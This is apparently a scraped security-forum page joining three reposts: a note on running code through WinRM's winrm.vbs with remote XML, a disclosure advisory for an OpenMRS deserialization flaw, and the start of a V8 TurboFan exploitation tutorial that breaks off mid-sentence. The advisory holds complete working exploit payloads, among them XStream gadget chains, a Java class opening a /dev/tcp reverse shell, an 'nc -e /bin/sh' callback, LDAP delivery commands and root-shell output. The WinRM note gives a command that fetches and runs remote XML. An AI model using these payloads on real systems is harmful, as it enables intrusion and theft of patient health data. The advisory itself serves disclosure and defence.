XML is easy to understand but it doesn’t Winrm’s XML isn’t, but Winrm.vbs XML has different codes and different uses from normal XML so let’s go to have a look at picture contains a bit instruction related to WInrm’s XML code MS-Windows Remote management Small notes guys It’s better for you to take full privileges Open as administrator or if you use any platforms Empire Powershell or MSF you can go to get more high level than normal session but don’t forget to use Get-TokenPrvivs https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-TokenPrivs.ps1 Currently we have graphic inside a picture shows some information is beneficial for you how XML’s code is being implemented via XML instructions, but be careful because normal language XML cannot be used by Winrm.vbs I think we must use only Winrm’s XML language and Its version, These some instructions take you to how you can execute XML/Winrm.vbs via Cscript.exe although I found something else related to the same execute Winrm.vbs but It doesn’t work on my version windows but may works on Windows server2008 or others versions as well, if you have VM and Windows server2008 you can use this research remotely This text shows remote execute and next picture shows local execute cscript.exe winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -remote:https://gist.githubuserconten t.com/homjxi0e/da3a5f4b5f48d60b156960bf27a4d164/raw/b615f853cf962566a516a320e9324fbfdcb124fc/PoCWinrm.xml Here you can look forward to seeing another new Winrm a blog post detected ( RedCanary ) Reference, Lateral Movement Using WinRM and WMI https://www.redcanary.com/blog/lateral-movement-winrm-wmi/ Sursa: https://medium.com/@mattharr0ey/round-of-use-winrm-code-execution-xml-6e3219d3e31

Advisories February 4, 2019 OpenMRS – Insecure Object Deserialization Bishop Fox Security Advisory: Critical Security Vulnerability Discovered in OpenMRS Product Description OpenMRS is a collaborative open-source project through which users can develop software to support healthcare in developing countries. In 2017, OpenMRS was implemented on more than 3,000 sites and stored information for over 8.7 million active patients. The application’s official website is https://openmrs.org/ Vulnerabilities List One vulnerability was identified within the OpenMRS Platform: Insecure object deserialization The vulnerability is described in detail following this summary. Impact This vulnerability is considered as critical because an attacker could gain a shell access to the server without an account or privileges. In addition to that, given the type of information stored in OpenMRS, an exploitation could lead to a leakage of sensitive healthcare data. Affected Versions Versions before and including 2.1.3. All versions of OpenMRS that use the webservices.rest module: • All versions of OpenMRS Platform 1.10.X • All versions of OpenMRS Platform 1.11.X except 1.11.8 and 1.11.9 • All versions of OpenMRS Platform 1.12.X • All versions of OpenMRS Platform 2.0.X • All versions of OpenMRS Platform 2.1.X NOTE: As of November 21, 2018, the assessment team does not know why versions 1.11.8 and 1.11.9 are not affected by this vulnerability. Solution Update the webservices.rest module – the vulnerability was addressed in version 2.24.0. (Read OpenMRS instructions here.) We’d like to thank the developers at OpenMRS for working with us in the disclosure process. They were easy to work with, professional, and willing to put in hours during the holiday season to ensure a solution. Insecure Object Deserialization on the OpenMRS Platform Vulnerability Details CVE ID: CVE-2018-19276 Access Vector: Remote Security Risk: Critical Vulnerability: CWE-502 CVSS Base Score: 10.0 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Java 8 Environment By injecting an XML payload in the following body request to the REST API provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used to exploit the vulnerability: POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1 Host: HOST Content-Type: text/xml <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/sh</string> <string>-c</string> <string>nc -e /bin/sh 172.16.32.3 8000</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1 Host: HOST Content-Type: text/xml <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/sh</string> <string>-c</string> <string>nc -e /bin/sh 172.16.32.3 8000</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response: ~ » nc -vlp 8000 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51 Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 172.16.32.2. Ncat: Connection from 172.16.32.2:52434. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat 1 2 3 4 5 6 7 8 9 10 11 12 ~ » nc -vlp 8000 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51 Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 172.16.32.2. Ncat: Connection from 172.16.32.2:52434. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat The response should contain an error message similar to the one below: {"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service …omitted for brevity… 1 2 {"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service …omitted for brevity… The response above showed that the REST Web Services module was unable to process the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team to gain shell access. Java 7 Environment Java 7 could be used to run OpenMRS, although the payload used in the Java 8 exploit above would not work. However, the Java Development Kit (SDK) offers a gadget to perform the exploitation that would allow an attacker to gain shell access. The marshalsec tool was used to generate the expected payload. Unlike the first case, the Java 7 exploitation process was conducted in multiple stages. First, a malicious Java class was written to be injected in the targeted environment. After that, an LDAP server was started on the attacker host to provide the compiled Java class within the response of all requests. The payload, shown below, was developed as a proof-of-concept (PoC) exploitation class: Exploit.java public class Exploit { static { System.err.println("Pwned"); try { String[] cmd = {"/bin/bash","-c","0<&196;exec 196<>/dev/tcp/172.16.32.3/4444; sh <&196 >&196 2>&196"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Exploit.java public class Exploit { static { System.err.println("Pwned"); try { String[] cmd = {"/bin/bash","-c","0<&196;exec 196<>/dev/tcp/172.16.32.3/4444; sh <&196 >&196 2>&196"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } } The waitFor() method is useful because it prevents the application from crashing. The IP address 172.16.32.3 and the port 4444 were connected to the attacker host. The assessment team, acting as an attacker, had to compile the previous Exploit.java file into a bytecode class file. The following command line was used: ~ » /usr/lib/jvm/java-1.7.0-openjdk-amd64/javac Exploit.java 1 ~ » /usr/lib/jvm/java-1.7.0-openjdk-amd64/javac Exploit.java The compiled Java class was moved to the /tmp/ (Temp) directory. An attacker would need to start a simple web server on the attacker host. (In this case, the team used Python to do that.) /tmp » python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ... 1 2 /tmp » python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ... A listener has been started using the tool Netcat. The port 4444 is the value used in the Exploit.java file previously created. /tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 1 2 3 4 5 6 /tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 The team used the marshalsec tool to simulate an LDAP server by using the command line: ~ » java -cp /directory/to/marshalsec/application/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.32.3:8000/#Exploit" 1 ~ » java -cp /directory/to/marshalsec/application/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.32.3:8000/#Exploit" At this time, three terminals opened and everything was configured to provide the malicious class to the targeted application. The issue was exploited using the JdbcRowSet gadget found by @Matthias_kaiser: <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>databaseMetaData</property> <comparator class="java.util.Collections$ReverseComparator"/> </comparator> </default> <int>3</int> <com.sun.rowset.JdbcRowSetImpl serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://172.16.32.3:1389/obj</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </com.sun.rowset.JdbcRowSetImpl> <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>databaseMetaData</property> <comparator class="java.util.Collections$ReverseComparator"/> </comparator> </default> <int>3</int> <com.sun.rowset.JdbcRowSetImpl serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://172.16.32.3:1389/obj</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </com.sun.rowset.JdbcRowSetImpl> <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> The ldap connection string within the file above was changed by the attacker IP address and saved to the location /tmp/ldap.txt. By using the following cURL command, the payload was sent to the REST API using POST method: /tmp » curl http://172.16.32.4.4/openmrs/ws/rest/v1/concept -H "Content-Type: text/xml" -X POST --data-binary "@/tmp/ldap.txt" 1 /tmp » curl http://172.16.32.4.4/openmrs/ws/rest/v1/concept -H "Content-Type: text/xml" -X POST --data-binary "@/tmp/ldap.txt" On some versions, the payload needs to be sent to an existing endpoint (e.g., /concept) and on others, the payload needs to a non-existing class (e.g., /conxxcept). The cURL command sent the content of the file located at /tmp/ldap.txt, which contained the gadget. Once the gadget was executed, the Exploit.class file was provided and injected into the targeted application. The execution of the malicious Java file led to remote shell access. Port 4444 of the attacker host received the connection. Note that no error was displayed in the HTTP response: /tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.16.32.4. Ncat: Connection from 172.16.32.4.4:36722. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat ls webapps ROOT docs examples host-manager manager openmrs openmrs.war 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.16.32.4. Ncat: Connection from 172.16.32.4.4:36722. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat ls webapps ROOT docs examples host-manager manager openmrs openmrs.war Depending of the way the application was deployed, the remote command injection could give different permissions. For example, if the Docker image was used, an attacker would gain full administrative privileges, as shown in the figure above. Disclosure Timeline: October 6, 2018: Initial discovery on OpenMRS Reference application version 2.8.0 (with all modules) November 11, 2018: Tested on OpenMRS Reference application version 2.5 (with all modules) November 18, 2018: Tested all OpenMRS Platform releases Researcher: Nicolas Serra, Security Associate at Bishop Fox Sursa: https://www.bishopfox.com/news/2019/02/openmrs-insecure-object-deserialization/

Introduction to TurboFan Date Mon 28 January 2019 By Jeremy "__x86" Fetiveau Category exploitation Tags v8 turbofan exploitation Introduction Ages ago I wrote a blog post here called first dip in the kernel pool, this year we're going to swim in a sea of nodes! The current trend is to attack JavaScript engines and more specifically, optimizing JIT compilers such as V8's TurboFan, SpiderMonkey's IonMonkey, JavaScriptCore's Data Flow Graph (DFG) & Faster Than Light (FTL) or Chakra's Simple JIT & FullJIT. In this article we're going to discuss TurboFan and play along with the sea of nodes structure it uses. Then, we'll study a vulnerable optimization pass written by @_tsuro for Google's CTF 2018 and write an exploit for it. We’ll be doing that on a x64 Linux box but it really is the exact same exploitation for Windows platforms (simply use a different shellcode!). If you want to follow along, you can check out the associated repo. Table of contents: Introduction Setup Building v8 The d8 shell Preparing Turbolizer Compilation pipeline Sea of Nodes Control edges Value edges Effect edges Experimenting with the optimization phases Playing with NumberAdd Graph builder phase Typer phase Type lowering Range types CheckBounds nodes Simplified lowering Playing with various addition opcodes SpeculativeSafeIntegerAdd SpeculativeNumberAdd Int32Add JSAdd NumberAdd The DuplicateAdditionReducer challenge Understanding the reduction Understanding the bug Precision loss with IEEE-754 doubles Exploitation Improving the primitive Step 0 : Corrupting a FixedDoubleArray Step 1 : Corrupting a JSArray and leaking an ArrayBuffer's backing store Step 2 : Getting a fake object Step 3 : Arbitrary read/write primitive Step 4 : Overwriting WASM RWX memory Full exploit Conclusion Recommended reading Setup Building v8 Building v8 is very easy. You can simply fetch the sources using depot tools and then build using the following commands: fetch v8 gclient sync ./build/install-build-deps.sh tools/dev/gm.py x64.release Please note that whenever you're updating the sources or checking out a specific commit, do gclient sync or you might be unable to build properly. The d8 shell A very convenient shell called d8 is provided with the engine. For faster builds, limit the compilation to this shell: ~/v8$ ./tools/dev/gm.py x64.release d8 Try it: ~/v8$ ./out/x64.release/d8 V8 version 7.3.0 (candidate) d8> print("hello doare") hello doare Many interesting flags are available. List them using d8 --help. In particular, v8 comes with runtime functions that you can call from JavaScript using the % prefix. To enable this syntax, you need to use the flag --allow-natives-syntax. Here is an example: $ d8 --allow-natives-syntax V8 version 7.3.0 (candidate) d8> let a = new Array('d','o','a','r','e') undefined d8> %DebugPrint(a) DebugPrint: 0x37599d40aee1: [JSArray] - map: 0x01717e082d91 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x39ea1928fdb1 <JSArray[0]> - elements: 0x37599d40af11 <FixedArray[5]> [PACKED_ELEMENTS] - length: 5 - properties: 0x0dfc80380c19 <FixedArray[0]> { #length: 0x3731486801a1 <AccessorInfo> (const accessor descriptor) } - elements: 0x37599d40af11 <FixedArray[5]> { 0: 0x39ea1929d8d9 <String[#1]: d> 1: 0x39ea1929d8f1 <String[#1]: o> 2: 0x39ea1929d8c1 <String[#1]: a> 3: 0x39ea1929d909 <String[#1]: r> 4: 0x39ea1929d921 <String[#1]: e> } 0x1717e082d91: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x01717e082d41 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype_validity cell: 0x373148680601 <Cell value= 1> - instance descriptors #1: 0x39ea192909f1 <DescriptorArray[1]> - layout descriptor: (nil) - transitions #1: 0x39ea192909c1 <TransitionArray[4]>Transition array #1: 0x0dfc80384b71 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x01717e082de1 <Map(HOLEY_ELEMENTS)> - prototype: 0x39ea1928fdb1 <JSArray[0]> - constructor: 0x39ea1928fb79 <JSFunction Array (sfi = 0x37314868ab01)> - dependent code: 0x0dfc803802b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 ["d", "o", "a", "r", "e"] If you want to know about existing runtime functions, simply go to src/runtime/ and grep on all the RUNTIME_FUNCTION (this is the macro used to declare a new runtime function). Preparing Turbolizer Turbolizer is a tool that we are going to use to debug TurboFan's sea of nodes graph. cd tools/turbolizer npm i npm run-script build python -m SimpleHTTPServer When you execute a JavaScript file with --trace-turbo (use --trace-turbo-filter to limit to a specific function), a .cfg and a .json files are generated so that you can get a graph view of different optimization passes using Turbolizer. Simply go to the web interface using your favourite browser (which is Chromium of course) and select the file from the interface. Compilation pipeline Let's take the following code. let f = (o) => { var obj = [1,2,3]; var x = Math.ceil(Math.random()); return obj[o+x]; } for (let i = 0; i < 0x10000; ++i) { f(i); } We can trace optimizations with --trace-opt and observe that the function f will eventually get optimized by TurboFan as you can see below. $ d8 pipeline.js --trace-opt [marking 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> for optimized recompilation, reason: small function, ICs with typeinfo: 4/4 (100%), generic ICs: 0/4 (0%)] [marking 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 2/7 (28%)] [compiling method 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> using TurboFan] [optimizing 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> - took 23.583, 25.899, 0.444 ms] [completed optimizing 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)>] [compiling method 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> using TurboFan OSR] [optimizing 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> - took 18.238, 87.603, 0.874 ms] We can look at the code object of the function before and after optimization using %DisassembleFunction. // before 0x17de4c02061: [Code] - map: 0x0868f07009d9 <Map> kind = BUILTIN name = InterpreterEntryTrampoline compiler = unknown address = 0x7ffd9c25d340 // after 0x17de4c82d81: [Code] - map: 0x0868f07009d9 <Map> kind = OPTIMIZED_FUNCTION stack_slots = 8 compiler = turbofan address = 0x7ffd9c25d340 What happens is that v8 first generates ignition bytecode. If the function gets executed a lot, TurboFan will generate some optimized code. Ignition instructions gather type feedback that will help for TurboFan's speculative optimizations. Speculative optimization means that the code generated will be made upon assumptions. For instance, if we've got a function move that is always used to move an object of type Player, optimized code generated by Turbofan will expect Player objects and will be very fast for this case. class Player{} class Wall{} function move(o) { // ... } player = new Player(); move(player) move(player) ... // ... optimize code! the move function handles very fast objects of type Player move(player) However, if 10 minutes later, for some reason, you move a Wall instead of a Player, that will break the assumptions originally made by TurboFan. The generated code was very fast, but could only handle Player objects. Therefore, it needs to be destroyed and some ignition bytecode will be generated instead. This is called deoptimization and it has a huge performance cost. If we keep moving both Wall and Player, TurboFan will take this into account and optimize again the code accordingly. Let's observe this behaviour using --trace-opt and --trace-deopt ! class Player{} class Wall{} function move(obj) { var tmp = obj.x + 42; var x = Math.random(); x += 1; return tmp + x; } for (var i = 0; i < 0x10000; ++i) { move(new Player()); } move(new Wall()); for (var i = 0; i < 0x10000; ++i) { move(new Wall()); } $ d8 deopt.js --trace-opt --trace-deopt [marking 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)] [compiling method 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> using TurboFan] [optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> - took 23.374, 15.701, 0.379 ms] [completed optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)>] // [...] [deoptimizing (DEOPT eager): begin 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> (opt #0) @1, FP to SP delta: 24, caller sp: 0x7ffcd23cba98] ;;; deoptimize at <deopt.js:5:17>, wrong map // [...] [deoptimizing (eager): end 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> @1 => node=0, pc=0x7fa245e11e60, caller sp=0x7ffcd23cba98, took 0.755 ms] [marking 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)] [compiling method 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> using TurboFan] [optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> - took 11.599, 10.742, 0.573 ms] [completed optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)>] // [...] The log clearly shows that when encountering the Wall object with a different map (understand "type") it deoptimizes because the code was only meant to deal with Player objects. If you are interested to learn more about this, I recommend having a look at the following ressources: TurboFan Introduction to speculative optimization in v8, v8 behind the scenes, Shape and v8 resources. Sea of Nodes Just a few words on sea of nodes. TurboFan works on a program representation called a sea of nodes. Nodes can represent arithmetic operations, load, stores, calls, constants etc. There are three types of edges that we describe one by one below. Control edges Control edges are the same kind of edges that you find in Control Flow Graphs. They enable branches and loops. Value edges Value edges are the edges you find in Data Flow Graphs. They show value dependencies. Effect edges Effect edges order operations such as reading or writing states. In a scenario like obj[x] = obj[x] + 1 you need to read the property x before writing it. As such, there is an effect edge between the load and the store. Also, you need to increment the read property before storing it. Therefore, you need an effect edge between the load and the addition. In the end, the effect chain is load -> add -> store as you can see below. If you would like to learn more about this you may want to check this TechTalk on TurboFan JIT design or this blog post. Experimenting with the optimization phases In this article we want to focus on how v8 generates optimized code using TurboFan. As mentioned just before, TurboFan works with sea of nodes and we want to understand how this graph evolves through all the optimizations. This is particularly interesting to us because some very powerful security bugs have been found in this area. Recent TurboFan vulnerabilities include incorrect typing of Math.expm1, incorrect typing of String.(last)IndexOf (that I exploited here) or incorrect operation side-effect modeling. In order to understand what happens, you really need to read the code. Here are a few places you want to look at in the source folder : src/builtin Where all the builtins functions such as Array#concat are implemented src/runtime Where all the runtime functions such as %DebugPrint are implemented src/interpreter/interpreter-generator.cc Where all the bytecode handlers are implemented src/compiler Main repository for TurboFan! src/compiler/pipeline.cc The glue that builds the graph, runs every phase and optimizations passes etc src/compiler/opcodes.h Macros that defines all the opcodes used by TurboFan src/compiler/typer.cc Implements typing via the Typer reducer src/compiler/operation-typer.cc Implements some more typing, used by the Typer reducer src/compiler/simplified-lowering.cc Implements simplified lowering, where some CheckBounds elimination will be done Playing with NumberAdd Let's consider the following function : function opt_me() { let x = Math.random(); let y = x + 2; return y + 3; } Simply execute it a lot to trigger TurboFan or manually force optimization with %OptimizeFunctionOnNextCall. Run your code with --trace-turbo to generate trace files for turbolizer. Graph builder phase We can look at the very first generated graph by selecting the "bytecode graph builder" option. The JSCall node corresponds to the Math.random call and obviously the NumberConstant and SpeculativeNumberAdd nodes are generated because of both x+2 and y+3 statements. Typer phase After graph creation comes the optimization phases, which as the name implies run various optimization passes. An optimization pass can be called during several phases. One of its early optimization phase, is called the TyperPhase and is run by OptimizeGraph. The code is pretty self-explanatory. // pipeline.cc bool PipelineImpl::OptimizeGraph(Linkage* linkage) { PipelineData* data = this->data_; // Type the graph and keep the Typer running such that new nodes get // automatically typed when they are created. Run<TyperPhase>(data->CreateTyper()); // pipeline.cc struct TyperPhase { void Run(PipelineData* data, Zone* temp_zone, Typer* typer) { // [...] typer->Run(roots, &induction_vars); } }; When the Typer runs, it visits every node of the graph and tries to reduce them. // typer.cc void Typer::Run(const NodeVector& roots, LoopVariableOptimizer* induction_vars) { // [...] Visitor visitor(this, induction_vars); GraphReducer graph_reducer(zone(), graph()); graph_reducer.AddReducer(&visitor); for (Node* const root : roots) graph_reducer.ReduceNode(root); graph_reducer.ReduceGraph(); // [...] } class Typer::Visitor : public Reducer { // ... Reduction Reduce(Node* node) override { // calls visitors such as JSCallTyper } // typer.cc Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) { return Type::NonInternal(); } JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction(); if (!function.shared().HasBuiltinFunctionId()) { return Type::NonInternal(); } switch (function.shared().builtin_function_id()) { case BuiltinFunctionId::kMathRandom: return Type::PlainNumber(); So basically, the TyperPhase is going to call JSCallTyper on every single JSCall node that it visits. If we read the code of JSCallTyper, we see that whenever the called function is a builtin, it will associate a Type with it. For instance, in the case of a call to the MathRandom builtin, it knows that the expected return type is a Type::PlainNumber. Type Typer::Visitor::TypeNumberConstant(Node* node) { double number = OpParameter<double>(node->op()); return Type::NewConstant(number, zone()); } Type Type::NewConstant(double value, Zone* zone) { if (RangeType::IsInteger(value)) { return Range(value, value, zone); } else if (IsMinusZero(value)) { return Type::MinusZero(); } else if (std::isnan(value)) { return Type::NaN(); } DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value)); return OtherNumberConstant(value, zone); } For the NumberConstant nodes it's 